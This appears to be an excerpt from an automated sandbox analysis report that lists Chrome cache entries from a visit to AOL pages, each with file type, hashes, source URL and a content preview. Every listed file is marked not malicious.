Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:30.#EXTINF:30.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/segment0.vtt?akamai_token=exp=1716516988~acl=/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/~hmac=c2ee02b09e1308de7ca9cbcd5cead0d31500a50a4337c809a195d510774cfee2.#EXTINF:30.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/segment1.vtt?akamai_token=exp=1716516988~acl=/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/~hmac=c2ee02b09e1308de7ca9cbcd5cead0d31500a50a4337c809a195d510774cfee2.#EXTINF:8.416,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6

Chrome Cache Entry: 338

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 59804, version 3.66
Category:	downloaded
Size (bytes):	59804
Entropy (8bit):	7.996299123384528
Encrypted:	true
SSDEEP:	1536:tZM7za1Nfdqi3iZjd8vObHJ6dWZWMcLUHKkZd5GK:k7zafdqfZvLZW9LUq+GK
MD5:	0562F972A5E554C9ED60EB863E15F215
SHA1:	88F7BBFA4EE3C95BB02C331D625988FF4979369A
SHA-256:	C636C7C3C3F6DBE62CEBCE73594C0B51CF5FA49F0F08B5721A8F7EF144A48394
SHA-512:	9E10034382B3164095B9E7C3D53177ECF343DF3B5489DC4D75E2EF621824AC89A942BCA18150EC084ECFA81F647E7FC359EBBA430E2BBD0C5CB7C88E2B0905F9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Medium.woff2
Preview:	wOF2..................0...B......................>..l....`?STATZ..v..\|.............6.$..N..j.. ..d..j...[H.....y@.e:o..GE...(......1..#..................!..X%...0q.......Y..rDD..Y.Q...B...K,d..i..(..\+z..5.....Z.m).!i.d/......%.%.....dw.`.ll)+..C.E?...[E.dJ.;.)..`..m..%:D...A..7.b.:.d3......T...,.z..ex.7r..%....8H.<D...c3c....rr..r..s.d.bI...k...W.Et}/x.8P.e+..e.L...{t...q...:............m../.".C.....\..Q..%Y.......!..i6..?.n.o\|S;.! ..'.D...k..J..o.#.J.a.$...`.Ef.......;4h.k.*QlxQ,...b.)...&~D4.`bI./.Z....f~Lo.......m......=.......O.x5."...?../...W....J..,.....@..;...=..a.(.R.B..]].Y....U.......`.\.F.`.f.l.......H.()!.H.....^.7_........;.....We...... q ..'.;.uSf~F..=?...#.@.eL~.......X}Y'....W.IS..`2...6.....o.....m).&...B....h..a.......?2.uh...B~.h..s.y+.e....V....Uv/a...e.z........0..R.A.2f.!.......~.......Y..}D....U...".e.+..m....z.{z....v..jABQ9.9U.{..9&IJJ..J6\..`=.s.1.3..O...WEL".Z...].$M..).w.....28....<..t...H.B,.r...fd&.... ..4..iR..

Chrome Cache Entry: 339

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	123712
Entropy (8bit):	7.9985107714893235
Encrypted:	true
SSDEEP:	3072:pP8OosmG42X1D9FbPOJrZHEMhWNg5NVrBVldsdME:pP8Oon2TF7OZdElg7ZsdN
MD5:	B0E551E4380F6BF1E5A58514E6BA3874
SHA1:	2C9F2D0334156778F1FCE2BC10282DCE28043BE9
SHA-256:	D4072F57955AF265DE030F4B5746E97E98C4C5DD035CEEAF3C276725B89F23A7
SHA-512:	784B1D63D745B257A7AB93CE03667BED9A60BA3D5823EEFEB779BB689D80B7B2810B139344D6443B84437A37FFBDF94F5B7268503652EE7BEF28FEEF558C6E05
Malicious:	false
Reputation:	low
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>..LY(_/.....J8.8Z._Oh........B.....>.....iQ..WCO.]2..V]=.....~..!Z..Q.e@........X..>-..ct.....M....%..o.wB.P...B.mVb...8..@.$........A=.....y..j<...zC.....,.Rdbjg./a.HT.E.L..3..X.Qx.B.N..hN..D ..(,.K..lV..Q..c"..6.W=.A.?...Df......)...SI..`....c.J..{...A....S....N.C..f.{.......X.Y..lbL..ee.'...c-/.O.P..K.n._N.H+I...._...{.....\|.U..E...Fw].n...\|p..G.W.6.6..O1.../.LE.........s.3X.......(.rt...'.y...........2..y;..)\.....6...a.1...">.m....[...5.\|.%.(..Ibv..m5..........l#..b@.o..1Gm.}mm..]..5H...Op.!.....V.r.}.d=..2#0..I.+..t.7.Q.{.9....Zu....$......\|I.3$.. $.N.s..?.8. .x.?..-..5%6...@.B....D...$-.X.W.D..v.M...j$...[.c...U..DCH..h..s.a].V\..~......F4.g.....7...8r{*.....:.R.y}?.E....!....\.....R..w\Q$.'.....9j].@o..Y.F...+L{%?.....g.b.]...ij5..2<...S.........(.....

Chrome Cache Entry: 340

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	10804
Entropy (8bit):	4.481624126994836
Encrypted:	false
SSDEEP:	192:v6+WE7QxvAjShzwzb7M1/myAYUNNdZnvGuQTF4U:v6+Pkxv44q/EH10U
MD5:	2928664FE1FC6ACA88583A6F606D60BA
SHA1:	2F2FE1CBD0563B3CE3EA79FCDF1549ED244B3993
SHA-256:	A26FC5B38380272C92E9019A2EB8B45542A66814B3E2B203772DB8904B9FB99F
SHA-512:	7D6F8B7E54A4DA3CF81C767B4AA40C3B04BAFE35F2DD77B85944DE4442F0B1DD1A8EDA0175DEB4652CF055094ACDC0D4B6E38ABE51C52A3DFBF887481315B347
Malicious:	false
Reputation:	low
Preview:	<svg id="livetype" xmlns="http://www.w3.org/2000/svg" width="119.66407" height="40" viewBox="0 0 119.66407 40">. <title>Download_on_the_App_Store_Badge_US-UK_RGB_blk_4SVG_092917</title>. <g>. <g>. <g>. <path d="M110.13477,0H9.53468c-.3667,0-.729,0-1.09473.002-.30615.002-.60986.00781-.91895.0127A13.21476,13.21476,0,0,0,5.5171.19141a6.66509,6.66509,0,0,0-1.90088.627A6.43779,6.43779,0,0,0,1.99757,1.99707,6.25844,6.25844,0,0,0,.81935,3.61816a6.60119,6.60119,0,0,0-.625,1.90332,12.993,12.993,0,0,0-.1792,2.002C.00587,7.83008.00489,8.1377,0,8.44434V31.5586c.00489.3105.00587.6113.01515.9219a12.99232,12.99232,0,0,0,.1792,2.0019,6.58756,6.58756,0,0,0,.625,1.9043A6.20778,6.20778,0,0,0,1.99757,38.001a6.27445,6.27445,0,0,0,1.61865,1.1787,6.70082,6.70082,0,0,0,1.90088.6308,13.45514,13.45514,0,0,0,2.0039.1768c.30909.0068.6128.0107.91895.0107C8.80567,40,9.168,40,9.53468,40H110.13477c.3594,0,.7246,0,1.084-.002.3047,0,.6172-.0039.9219-.0107a13.279,13.279,0,0,0,2-.1768,6.80432,6.80432,0,0

Chrome Cache Entry: 341

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	491
Entropy (8bit):	7.1274636626520795
Encrypted:	false
SSDEEP:	12:6v/7Ol/DoHYrRq0R/4p1YaoayoBEhwQhv3kmzUqhzgbeMrLgn6QJ9gXoc:v7ZR/e1FeoCPlUqObeGYmp
MD5:	F548B961E43B46BD52B6AA170D9BC4D8
SHA1:	391F124B5DCC64DB9A8FBB69D2B75755223D93EF
SHA-256:	E88579C64B5FFDBA0A240FF28A189A4665F897D36F4BFD19C89823142B62DF46
SHA-512:	45ACA9DFDAB8D3AE86414A403EBA4E610C6CB12AF766EA780614AA9549FA1F6DF7B8B9FD69D1DD5F7ED3C8CF9A5982650BA29B633677BD9FCCEC0963E4EF8265
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2Fa2258160-2b7f-11eb-bbe3-c5a6dfd56406&client=76f99bdb8f78cd44cc0b&signature=668467e7d91ff5dccf4279760f0d614d88addd13
Preview:	.PNG........IHDR.............(-.S....PLTEGpL......222..................&&&......]]\zzy>>>...ac\VUWi.t0}.....X-iii.........z..998...XN.=.K...q...^.$D._u..{.\|./.DDC......us.p.s....jq.Hb.....\|..m..}w.........fI......t.........TIL..b.....f>.p..\....tRNS........1..,......IDAT..m.Ev.Q.D...... ..`.Kb..rrW.....%...{...j....5....HG......6.&.G....j>.'....@..V.....K..).......c..T...f...........p.^t.y._QB...A..b..\*.6..u?m6j.....ga.....[..N.$i..G..o....&..A.v......IEND.B`.

Chrome Cache Entry: 342

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 343

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUXPQEsJ+q:1QEsJ+q
MD5:	32023BB33CFB2A1990A4EF2D85B6AC16
SHA1:	23DCC6D4B5BFE00357FD0248BB5955B8E36BB8F1
SHA-256:	99C2917EE5B2A01459A923BDD1C676F15EE73B62B87F696E6735312D26F51E12
SHA-512:	D052ECEC2839340876EB57247CFC2E777DD7F2E868DC37CD3F3F740C8DEB94917A0C9F2A4FC8229987A0B91B04726DE2D1E9F6BCBE3F9BEF0E4B7E0D7F65EA12
Malicious:	false
Reputation:	low
URL:	https://odr.mookie1.com/t/v2/sync?tagid=V2_790378&src.visitorId=ad3998d2-fd62-4225-919d-66f459efadb2&ssp=criteo&gdpr=&gdpr_consent=
Preview:	GIF89a.............!.......,...........L.;

Chrome Cache Entry: 344

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (435)
Category:	downloaded
Size (bytes):	71321
Entropy (8bit):	5.019138744840337
Encrypted:	false
SSDEEP:	768:O5eyA/54a9eALzFnC8yaB3v5J7OlFwSKBQNwlLIcdJBkbErYAJ5hQ4FkOniLhV8Q:O5eyAV5MaB3BJqlDxNUYN4eOuIM
MD5:	C83A2608BB470871595D5699F2C7FC94
SHA1:	ADF0D986E0EAB124E08B947A45D157B033CF2085
SHA-256:	3E19F3D5B2777F26C4C4A772B6AC961C798F29DAAA3F20D5C61C0C76C891566F
SHA-512:	0E75ECA4B4ACCDAE2CC00ECC4FE920984C137646826E77651DFE4540F79B35989465A8F076E8280A4671094CBAA5E72C63442F2F3735A40DF0D6DCC4D732F0B8
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/css/aolv2.css
Preview:	@charset "UTF-8";./! normalize.css v8.0.1 \| MIT License \| github.com/necolas/normalize.css /./* Document. ========================================================================== /./. 1. Correct the line height in all browsers.. * 2. Prevent adjustments of font size after orientation changes in iOS.. /.html {. line-height: 1.15;. / 1 /. -webkit-text-size-adjust: 100%;. / 2 /.}../ Sections.. ========================================================================== /./. Remove the margin in all browsers.. /.body {. margin: 0;.}../. Render the `main` element consistently in IE.. /.main {. display: block;.}../. Correct the font size and margin on `h1` elements within `section` and. * `article` contexts in Chrome, Firefox, and Safari.. /.h1 {. font-size: 2em;. margin: 0.67em 0;.}../ Grouping content.. ========================================================================== /./. 1. Add the correct box sizing in Firefox.. * 2

Chrome Cache Entry: 345

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.292908596521779
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtjyREWqWv+ndp:6v/lhPfkCDtmDV+dp
MD5:	5BEC6606B8392065F9DA9898CA6F7B14
SHA1:	73AC5B01B5E3293FB792179626E7F8369CDB944D
SHA-256:	ACCCC501AA6AFA3CFAC15E8DDCCF1561DEED2ED08C2F7D652ABBDBE9AA71609A
SHA-512:	36FEC10F71295203E59BCC52042EE2691E5DB51D26F6D76D4B19BFEDF4429FDE898C87ABC77CA29F6BB58E6217FF380F0650115C06395CB1DA270BD028C2CF80
Malicious:	false
Reputation:	low
URL:	https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE......U..~....IDATx.c`.......'......IEND.B`.

Chrome Cache Entry: 346

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 600x450, components 3
Category:	dropped
Size (bytes):	55192
Entropy (8bit):	7.972934232734373
Encrypted:	false
SSDEEP:	768:2+8xZUadB7E5N6uiASMW2ceEQ1SwxhPS0qx43Tk1Sj23d6cdXXklEolf3RZicw/M:2+8zbdB7GWASNtemQhSOkQ2tjdO5ht
MD5:	3EFC29FEEC02A3A5CFFBF7967F8FD0DF
SHA1:	A686BB055D0549D3FA950B874B4CEF5AB95579D1
SHA-256:	17E29CCE279E66CB0B6DF3DEFE400E7D478CA6F0106213E0C1BAA69F935B2FB1
SHA-512:	43FA1410288D435E301CEEC444B13E8160BD8487B55CD24A06306DDB0F4F5DD154ABECFC259499DDEBA58EAE79AAE741FD2C2D4DFAFD45AAA7753625E874D466
Malicious:	false
Reputation:	low
Preview:	......JFIF.............@ICC_PROFILE......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....................................."......".$...$.6&&6>424>LDDL_Z_\|\|.............................."......".$...$.6&&6>424>LDDL_Z_\|\|.........X.."..........4..................................................................~XYb7...\|7_....vW.=@.P.=w3..oL\|i.: .x....2P.ac...j.L4.I..Be.....J...Tg.C^;.\.5.v.zl.}..<.0e.......bC.....gU.Q....X.)..#.wA._...t...J....x..Tm.+f\|}3u;.3r.;..f.....KH.

Chrome Cache Entry: 347

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 348

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	46
Entropy (8bit):	4.43085190156809
Encrypted:	false
SSDEEP:	3:OC0hNejBWk9JyiA:OC0hNuB7A
MD5:	9ACA9D15ADAFBE7AAECCAB50F115CD8B
SHA1:	0FAF57FCB79A2B2D7F4161FFAFB7D9679D3F5DF0
SHA-256:	189B8ED64093B12937354B2EF71CCF1DF59690D90432241A10FE1CB25000ACBA
SHA-512:	A561D48D340192C05E37C089CEE1BB3FE00553FCC055C478C86A7C43C41A6C2CF740E07F678D09025D8B72E2D7E26D9F4E17A20BA2F0B24D559928DAAB61AD94
Malicious:	false
Reputation:	low
URL:	https://gum.criteo.com/sync?c=72&r=2&j=TRC.getRTUS&us_privacy=1YNN&gdpr=0&gdpr_consent=&gdpr_pd=
Preview:	TRC.getRTUS({"status":"Unknown","userid":""});

Chrome Cache Entry: 349

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65468)
Category:	downloaded
Size (bytes):	75865
Entropy (8bit):	5.2563023419884365
Encrypted:	false
SSDEEP:	768:JYEwYTMJABgOqfvwpNEbCCJCdlf+zDtQRV+CgJhQIVVyl+VQZoc+4EJCwsZCx3VE:aEwYAWeBfRsAteM0CVyNq5+oQ
MD5:	C9D788EC37FADFE66A558FB20058B3CA
SHA1:	342E0EDC6E5CA55145BBF6EDF301827CCDD0B461
SHA-256:	43284FB3D1922BF50D61229A93D57E3519F184740706382CC1662D9F43F7B28E
SHA-512:	A1D94FC756A9A698D032C779290F19A0A3430AFC43A3FC774997F266F6C9A34503F4366A08D2210F1A580754C3CE095CBE8DD2271612E662615DDAAC6F1D36B4
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/aol_header.c9d788ec37fadfe6.js
Preview:	/! For license information please see aol_header.js.LICENSE.txt /.!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var e={8518:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if(null==e)throw new TypeError("assign requires that input parameter not be null or undefined");for(var n in t=t\|\|{})t.hasOwnProperty(n)&&(e[n]=t[n]);return e},e.exports=t.default},5459:function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,o.default)({},e)};var r,o=(r=n(8518))&&r.__esModule?r:{default:r};e.exports=t.default},2656:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=new Date(e.getTime()),o=Math.ceil(t.getTimezoneOffset());t.setSeconds(0,0);va

Chrome Cache Entry: 350

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=2&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503700616&ns_ap_env=0-0-2&ns_ap_ut=60000&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_ap_ar=unknown&ns_ap_cs=1&ns_ap_fg=0&ns_ap_dft=4&ns_ap_dbt=0&ns_ap_dit=0&ns_ap_as=0&ns_ap_das=4&ns_ap_usage=4&ns_radio=unknown&cs_ucfr=1&ns_ap_ft=4&ns_ap_bt=0&ns_ap_it=0&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 351

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	401
Entropy (8bit):	6.968732669281838
Encrypted:	false
SSDEEP:	12:6v/7gDF8aYb3sjiyJSZw+4dsYTm9NWXIvAXkVoYYUPIo:J83bc3OsdsYTUNWXIvykGYYa9
MD5:	41B69908079EAF211484DA57D9E9B6F3
SHA1:	A70824E34A52E883B0C86E4CEE40731D9E50474A
SHA-256:	6D72ED5BA27CD9BFA21ED2C2A42DFFE93F5D1DA6EE5920937C49AD214B0502E2
SHA-512:	11958C84A19B68C63A986233B5C547F4A0B5B7865AB022DEA8F5C7C605436527DCFD14BD5609302CEA3DD63E64C17B569B8B6C72F35FEC9941B2E87CFD484510
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-12%2Fe9cc2d60-6982-11ec-b3df-9bd0426ec2ec&client=76f99bdb8f78cd44cc0b&signature=f5d1374db0e429e85fd1964b6c7fb344aaa01682
Preview:	.PNG........IHDR.............(-.S....PLTEGpL.....................................................qst......... 3>.............,BS...bcc..........'/......z\|\|234...oqp=ZvLLNCED..P.....tRNS....2....<..^....IDAT..].7v.0...R.A.w...%.... ......$Yg..8..4...K.SIJ#\|_..n.(..C^....Q@,Y .B?....r@(......p.^.aX.`..4.~]..]0-..].?Q.....j...=g.rh.....N.\|>.M^7.6.++....}qzN.mO.#J_s/.....;S.8.t.....IEND.B`.

Chrome Cache Entry: 352

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p2?c1=2&c2=1000009&c5=1197803361&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503684011
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 353

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1991)
Category:	downloaded
Size (bytes):	2019
Entropy (8bit):	5.2507909656613885
Encrypted:	false
SSDEEP:	48:MzJlaFBhh69bWKYarBhh6KwQh6SrN0fv5lsDRaDWarPe6yVIlAPrHnL:MzJgPk6KlPhOIDRaDWkPe6yClE
MD5:	23223BB820A6FD5DF4DB0C3301B35285
SHA1:	DE9A4B9BEC4C6F6B03AD4D136A7381C1D79377B3
SHA-256:	FC5B79177047F17DDD0F763FA5944BD1A777B1D04480749DB2AE669A37C07AC0
SHA-512:	ED280F6210AA8E86622EB41F2353D108184D9D16FDD55FDF27B89457928E91F30A63FF65B64F516C4389568A698FD1E9FE0D015C9F0D5EB29082F373E9D9A5E1
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/libtrc/google-topics-api.20240523-16-RELEASE.es6.js
Preview:	/! 20240523-16-RELEASE /..(o=>{const e="top",t="https://cdn.taboola.com",i="http://localhost:9876",n=`${t}/libtrc/static/topics/taboola-browsing-topics.html`,r=`tbl-browsing-topics-iframe-${100*Math.random()}`;function s(){try{if(!TRC.topics)return;a(TRC.topics)}catch(o){__trcWarn(`failed to save handed Google Topics at local storage: ${o.message}`)}}function a(o){try{const t=[];for(let e=0;e<o.length;e++)if(o[e].topic&&o[e].taxonomyVersion){const i={topic:o[e].topic,taxonomy:o[e].taxonomyVersion,model:o[e].modelVersion,config:o[e].configVersion,i:o[e].topic,v:o[e].taxonomyVersion};t.push(i)}if(!t.length)return;TRC.pageManager.storeValue(e,JSON.stringify(t)),m()}catch(o){__trcWarn(`failed to save Google Topics at local storage: ${o.message}`)}}function c(){let o,t;try{if((t=(o=TRC.pageManager.getValue(e))?JSON.parse(o):null)&&t.length>0)return t}catch(o){__trcWarn(`failed to read Google Topics from local storage: ${o.message}`)}}function l(){window.addEventListener("message",o=>{if(o

Chrome Cache Entry: 354

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65120)
Category:	downloaded
Size (bytes):	86122
Entropy (8bit):	5.265648308160642
Encrypted:	false
SSDEEP:	1536:/cCJmoihUX3MQbKqGafstxI+bulODI67gS/T8at3HAaA6/S0d2zJRtR+UDXTd4nb:/3Zculr67gS/T8at3AaA4S0d2zntR+Uo
MD5:	E11B922B5014698BBA89A4A57E284919
SHA1:	D61ECA01DC7F4F2985DBAAD3B8D58B3354546FA6
SHA-256:	62576504D370CB891CCB54180D517260EF31E69A314C613089B9432847294D18
SHA-512:	6A90284B288A61869142618D3EF29160DA765EFC17D13C3F977BE71C6BD0AA8B4554624D2A6C6B5F627858837DC423A5774D4E472655E4E9C2D94DA85C092934
Malicious:	false
Reputation:	low
URL:	https://players.brightcove.net/videojs-ima3/5.4.2/videojs-ima3.min.js
Preview:	/! @name @brightcove/videojs-ima3 @version 5.4.2 @license UNLICENSED /.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("video.js")):"function"==typeof define&&define.amd?define(["video.js"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).videojs)}(this,(function(e){"use strict";function t(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}var a=t(e),n="7.5.0";./! @name videojs-contrib-ads @version 7.5.0 @license Apache-2.0 /var r=function(e,t){t.isImmediatePropagationStopped=function(){return!0},t.cancelBubble=!0,t.isPropagationStopped=function(){return!0}},i=function(e,t,a){r(0,a),e.trigger({type:t+a.type,originalEvent:a})};function o(e){"playing"===e.type?function(e,t){e.ads.isInAdMode()&&(e.ads.isContentResuming()?e.ads._contentEnding&&i(e,"content",t):i(e,"ad",t))}(this,e):"ended"===e.type?function(e,t){e.ads.isInAdMode()?e.ads.isContentResuming()?(r(0,t),e.trigger("resumeended")):i(e,"ad",t):e.ads._contentHasEnded\|\|e.ads.stitc

Chrome Cache Entry: 355

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	143
Entropy (8bit):	5.379741225503361
Encrypted:	false
SSDEEP:	3:YDjW/ZKMECHk0wrVTI0XyMmJ5nX0sUz2wwoXuV:YJCE7NI0XyMm5X0sUzJwKC
MD5:	CDAB945360D7FA07C2AE59FDC8681F59
SHA1:	DF36942E4E30E344DE39AB8DFCA70F77A0CC1DDA
SHA-256:	D04185E436A924DCAA71C2BADACEBC1E3E34E4B46D8B37A32AE7597807D3A77C
SHA-512:	E7973D399CE21DB5B56ACDEAD0BA03330E1356DA9D8760D4A5ACB80F3D6B67DC66EB7CD381FE4B1EB913A95D74160CB3DC4C248C9DDBECD82BA324DFA35CCB02
Malicious:	false
Reputation:	low
URL:	https://help.aol.com/api/site/features
Preview:	{"features":{"chatbot":{"enabled":true}},"evaluate":{"logString":"5.RTkxNjA4MAdvcy1zZWFyY2gteWVzBzY0MwdBSUQHelBqVGRaQXB4ZzJJakMtc0M2bldJdw--"}}

Chrome Cache Entry: 356

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2261
Entropy (8bit):	7.883559497810185
Encrypted:	false
SSDEEP:	48:/aAoBbPZutC39BHzHWxXGV9R1CwHUArcj+h+eEXpga1eQ6BjN:+BoCtBeXk9WArc6hYZ1eQQN
MD5:	1FF1D3CD4B16518340BACCFBD33BD4CA
